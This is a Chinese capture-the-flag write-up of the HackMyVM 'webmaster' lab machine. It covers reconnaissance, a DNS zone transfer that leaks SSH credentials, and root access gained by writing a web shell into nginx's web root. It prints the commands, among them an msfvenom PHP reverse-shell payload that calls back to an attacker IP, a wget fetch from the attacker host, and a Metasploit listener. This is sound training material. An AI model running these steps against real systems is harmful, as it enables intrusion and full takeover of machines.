当前位置:网站首页>HackMyvm靶机系列(1)-webmaster
HackMyvm靶机系列(1)-webmaster
2022-07-06 09:22:00 【月应知我意】
一、信息收集
首先先使用nmap扫描网段,探测存活主机,由于这是校园网主机比较多就不一一找了,使用grep直接找到目标主机。
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
对目标主机进行端口扫描,探测目标开放的服务
nmap -sT -T4 -sV -O -A -sC -p- 192.168.200.8
扫描到三个服务,ssh,dns,http
访问一下,发现是一张图片,大致意思就是你把密码保存在哪里?Bitwarden和Keepass百度一下是一种密码管理工具。记住下面那个TXT,是个重要提示。
使用dirsearch扫描一下目录。
dirsearch -u http://192.168.200.8 -e php,html,txt,7z,zip,gz,db,bz2,bak -x 404,301,500-599 -t 30
然而并没有发现什么有用信息。
上面图片提示到txt,于是尝试一下使用wfuzz爆破一下txt文件
wfuzz -c --sc=200,302 -w /tools/dict/directory-list-2.3-medium.txt http://192.168.200.8/FUZZ.txt
和使用dirsearch一样,一条有用的消息都没有发现
然后查看一下页面源代码,发现一个webmaster.hmv,看上去像是一个域名。于是把它放到host文件中解析,然而并没有什么用。
二、漏洞利用
想到刚才用nmap扫描到有开放dns服务,尝试一下用dig解析一下dns记录
dig axfr @192.168.200.8 webmaster.hmv
#@IP地址 指定DNS服务器
发现这个东西十分可疑,看上去像是一个账号和密码
john:Myhiddenpazzword
尝试登录ssh,登录成功
得到第一个flag
三、权限提升
接下来就是提权操作了
sudo -l
发现nginx可以以任何用户启动,并且不需要输入密码。
通过查看进程,发现nginx是以root权限启动的。
然后查看网页根目录,发现根目录任何人都拥有删除和写入文件的权限,再加上nginx是以root权限启动的,我们可以通过写入shell,再访问这个shell获得权限。
先查看一下主机信息,是86位的
使用msf生成木马
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.200.130 lport=5555 -f raw -o shell.php
然后目标机上使用wget将木马下载下来
wget http://192.168.200.130:7890/shell.php
赋予执行权限
chmod +x shell.php
在msf上启动监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.200.130
set lport 5555
kali访问木马文件,由于nginx是root权限运行的,所访问shell.php文件时得到的是root权限
msf收到会话,权限为root
拿到最后一个flag
边栏推荐
- This time, thoroughly understand the MySQL index
- 仿牛客技术博客项目常见问题及解答(一)
- Strengthen basic learning records
- HackMyvm靶机系列(6)-videoclub
- .Xmind文件如何上传金山文档共享在线编辑?
- Leetcode.3 无重复字符的最长子串——超过100%的解法
- Strengthen basic learning records
- FAQs and answers to the imitation Niuke technology blog project (II)
- Miscellaneous talk on May 14
- 7-1 输出2到n之间的全部素数(PTA程序设计)
猜你喜欢
A comprehensive summary of MySQL transactions and implementation principles, and no longer have to worry about interviews
仿牛客技术博客项目常见问题及解答(二)
FAQs and answers to the imitation Niuke technology blog project (III)
Custom RPC project - frequently asked questions and explanations (Registration Center)
(original) make an electronic clock with LCD1602 display to display the current time on the LCD. The display format is "hour: minute: Second: second". There are four function keys K1 ~ K4, and the fun
Difference and understanding between detected and non detected anomalies
MySQL锁总结(全面简洁 + 图文详解)
Programme de jeu de cartes - confrontation homme - machine
Differences among fianl, finally, and finalize
1. First knowledge of C language (1)
随机推荐
7-11 机工士姆斯塔迪奥(PTA程序设计)
7-1 输出2到n之间的全部素数(PTA程序设计)
【Numpy和Pytorch的数据处理】
Inaki Ading
Redis实现分布式锁原理详解
【VMware异常问题】问题分析&解决办法
.Xmind文件如何上传金山文档共享在线编辑?
MySQL锁总结(全面简洁 + 图文详解)
About the parental delegation mechanism and the process of class loading
重载和重写的区别
[graduation season · advanced technology Er] goodbye, my student days
Difference and understanding between detected and non detected anomalies
(original) make an electronic clock with LCD1602 display to display the current time on the LCD. The display format is "hour: minute: Second: second". There are four function keys K1 ~ K4, and the fun
扑克牌游戏程序——人机对抗
实验九 输入输出流(节选)
3. Input and output functions (printf, scanf, getchar and putchar)
[VMware abnormal problems] problem analysis & Solutions
抽象类和接口的区别
A comprehensive summary of MySQL transactions and implementation principles, and no longer have to worry about interviews
Miscellaneous talk on May 14